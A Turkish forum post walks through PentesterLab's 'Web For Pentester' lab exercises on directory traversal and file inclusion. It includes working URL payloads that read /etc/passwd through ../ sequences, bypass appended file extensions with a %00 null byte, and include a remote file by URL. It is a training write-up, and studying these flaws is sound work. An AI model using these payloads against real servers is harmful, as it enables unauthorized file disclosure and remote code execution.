[PentesterLab] Web For Pentester – Directory Traversal & File Include

PwnLab.Me

Admin
Katılım
21 Ocak 2024
Mesajlar
202
Tepkime puanı
9
Puanları
18
Okan Köse tarafından yazılmıştır.

[TR] [PentesterLab] Web For Pentester – Directory Traversal & File Include​




XSS-Kapak.png


PentesterLab-Web For Pentester serimize devam ediyoruz.
Bu yazımızda Directory Traversal & File Include örneklerini inceliyelim.

Directory Traversal 1.Örnek​


1.Ornek-1-2.png


Yukarıdaki resimde de göreceğiniz üzere Directory Traversal bölümümüzde sadece resim bulunmakta.
İlk örneğimizdeki resmi sağ tıklayıp resmi görüntüle dediğimiz de yeni bir sayfa açılıyor.

1.Ornek-2-2.png

Yeni açılan sayfamızda URL’i incelediğimizde file=hacker.png olduğunu görüyoruz.
Sistemin Linux olduğunu bildiğimiz için file değerini değiştirip ../../../../../../../../../../../etc/passwd yeni değerimizi giriyoruz.

dirtrav/example1.php?file=../../../../../../../../../../../etc/passwd
../ ifadesi Linux sistemlerde bir üst dizine ulaşmak için kullanılır.
En üst dizine ulaştığımızda bulunan dizini değiştiremeyeceği için bu ifadeden kaç tane kullandığımızın önemi yoktur.

1.Ornek-3-1.png




Directory Traversal 2.Örnek​


İkinci örneğimizde de resmi görüntüle deyip bizi karşılayan sayfanın URL’ini incelediğimizde dosya konumunu belirttiğini görüyoruz.
2.Ornek-1-2.png

Bu örneğimizde dikkat etmemiz gereken ise dosyanın bulunduğu yerden itibaren üst dizine ulaşmaktır.
dirtrav/example2.php?file=var/www/files/../../../../../../../../../../../etc/passwd

2.Ornek-2-3.png






Directory Traversal 3.Örnek​


Bu örneğimizin ilk örnekle farkı ise file=hacker ile bitiyor olması.
3.ORnek-1-2.png

Dosya uzantısı yani .png kod içerisine eklenmiştir.
Bu eklenen uzantıyı iptal etmemiz için %00 yani Null ifadesini kullanabiliriz, php bu ifadeyi gördükten sonra kalan kısmı okumaz.
dirtrav/example3.php?file=../../../../../../../../../../../etc/passwd%00

3.ORnek-2-1.png






File Include 1.Örnek​


File Unclude bölümünün ilk örneğine baktığımızda URL’de page=intro.php yazdığını fark ediyoruz.

File Ornek 1

File Ornek 1

Page parametresine Directory Traversal örneğindeki gibi ../../../../../../../../../../../etc/passwd yazdığımızda passwd dosyasının içeriğini görüyoruz.

fileincl/example1.php?page=../../../../../../../../../../../etc/passwd

File Ornek 2

File Ornek 2

Hiçbir kontrol yapılmadığı için etc/passwd dosyasının içeriği ekrana yansıdı.
Buradaki zafiyetten yararlanmak için sunucuya kendi oluşturduğumuz php dosyasını yükleyerek kodlarımızı çalıştırabiliriz.
Ayrıca PentesterLab çevrimiçi kod sağlar.
fileincl/example1.php?page=https://pentesterlab.com/test_include.txt

File Include 2.Örnek​

File Ornek 2-1

File Ornek 2-1

Bu örneğimizde URL’e baktığımızda page=intro görüyoruz yani birinci örneğimizden farkı burada kullanıcıdan dosya ismi alınırken uzantısı alınmamış.

Uzantı ekleme işlemi programcı tarafından kod kısmında yapılmıştır. Kendi oluşturduğumuz dosyanın sonuna uzantısını vermeden yüklenmesini sağlayabiliriz.
Ya da Directory Traversal üçüncü örnekte olduğu gibi Null-Byte karakteri ekleyerek, kod ile eklenen uzantıyı bypass edebilir ve bu şekilde etc/passwd dosyamızın içeriğini görebiliriz.

fileincl/example2.php?page=../../../../../../../../../../../../etc/passwd%00

File Ornek 2-2

File Ornek 2-2

Birinci örnekte verdiğimiz PentesterLab’ın çevrimiçi kodunu aynı şekil url’in sonun %00 ekleyerek deneyebiliriz.
fileincl/example2.php?page=https://pentesterlab.com/test_include.txt�

File İnclude bölümünde incelediğimiz örnekleri File Upload bölümünde detaylı olarak ele alacağız.
 
Moderatör tarafında düzenlendi:
Geri
Üst